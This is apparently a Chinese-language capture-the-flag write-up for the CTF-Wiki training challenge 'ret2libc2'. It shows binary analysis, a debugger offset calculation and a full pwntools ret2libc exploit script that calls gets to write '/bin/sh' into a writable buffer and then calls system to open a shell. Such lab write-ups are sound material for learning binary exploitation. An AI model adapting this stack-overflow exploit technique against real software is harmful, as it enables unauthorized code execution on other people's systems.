题目来源

下载位置: https://raw.githubusercontent.com/ctf-wiki/ctf-challenges/master/pwn/stackoverflow/ret2libc/ret2libc2/ret2libc2
PS:内容来自于CTF-WIKI

分析

文件类型

┌──(root㉿Kali)-[~/Desktop/PWN/ret2libc2]
└─# file ret2libc2
ret2libc2: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.24, BuildID[sha1]=83535a471d9ef90c3d5ff7f077944fb6021787a1, with debug_info, not stripped

这是一个采用动态连接库编译的32位ELF文件

软件防护

┌──(root㉿Kali)-[~/Desktop/PWN/ret2libc2]
└─# checksec ret2libc2
[*] '/root/Desktop/PWN/ret2libc2/ret2libc2'
    Arch:       i386-32-little
    RELRO:      Partial RELRO
    Stack:      No canary found
    NX:         NX enabled
    PIE:        No PIE (0x8048000)
    Stripped:   No
    Debuginfo:  Yes

允许栈溢出,NX防护开启,PIE防护关闭

IDA分析

main函数内容如下

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char s[100]; // [esp+1Ch] [ebp-64h] BYREF

  setvbuf(stdout, 0, 2, 0);
  setvbuf(_bss_start, 0, 1, 0);
  puts("Something surprise here, but I don't think it will work.");
  printf("What do you think ?");
  gets(s);
  return 0;
}

gets函数很明显,肯定是要栈溢出,其他信息没多少,在函数列表中又找到一个secure函数,内容如下

void secure()
{
  unsigned int v0; // eax
  int input; // [esp+18h] [ebp-10h] BYREF
  int secretcode; // [esp+1Ch] [ebp-Ch]

  v0 = time(0);
  srand(v0);
  secretcode = rand();
  __isoc99_scanf(&unk_8048760, &input);
  if ( input == secretcode )
    system("no_shell_QQ");
}

system函数,但是里面的参数不是想要的,因为是动态链接库,可以直接掉system的plt,参数在f12中也没找到,这题重要的时候需要自己构建一个“/bin/sh”字符串,这个程序里因为是动态链接库,所有的运行函数都可以去调用,我们可以尝试使用gets函数自己构建一个,但是这得找程序中可以写的变量地址,在bss段中找到了一个buf2的变量,在bss中的变量都可写的,他的地址是0x0804A080

攻击

攻击思路

使用gets函数把/bin/sh写入buf2,再把buf2传入system函数。

栈溢出位数

使用pwndbg调式,内容如下

─────────────────────────────────[ REGISTERS / show-flags off / show-compact-regs off ]─────────────────────────────────
*EAX  0xffffd0ec ◂— 'hello'
 EBX  0xf7f9ee34 (_GLOBAL_OFFSET_TABLE_) ◂— 0x223d2c /* ',="' */
*ECX  0xf7fa08ac (_IO_stdfile_0_lock) ◂— 0
 EDX  0
 EDI  0xf7ffcb80 (_rtld_global_ro) ◂— 0
 ESI  0x80486d0 (__libc_csu_init) ◂— push ebp
 EBP  0xffffd158 ◂— 0
 ESP  0xffffd0d0 —▸ 0xffffd0ec ◂— 'hello'
*EIP  0x80486bf (main+119) ◂— mov eax, 0

栈溢出位数应该是0xd158-0xd0ec+4=112

脚本

#!/usr/bin/python
from pwn import *

# 利用地址
gets_plt = 0x08048460
system_plt = 0x08048490
buf2 = 0x0804A080
sh = "/bin/sh"

io = process("./ret2libc2")

payload = flat([b"a" * 112, gets_plt,system_plt,buf2,buf2 ])

io.sendline(payload)
io.sendline(sh)

io.interactive()
最后修改:2025 年 04 月 03 日
如果觉得我的文章对你有用,请随意赞赏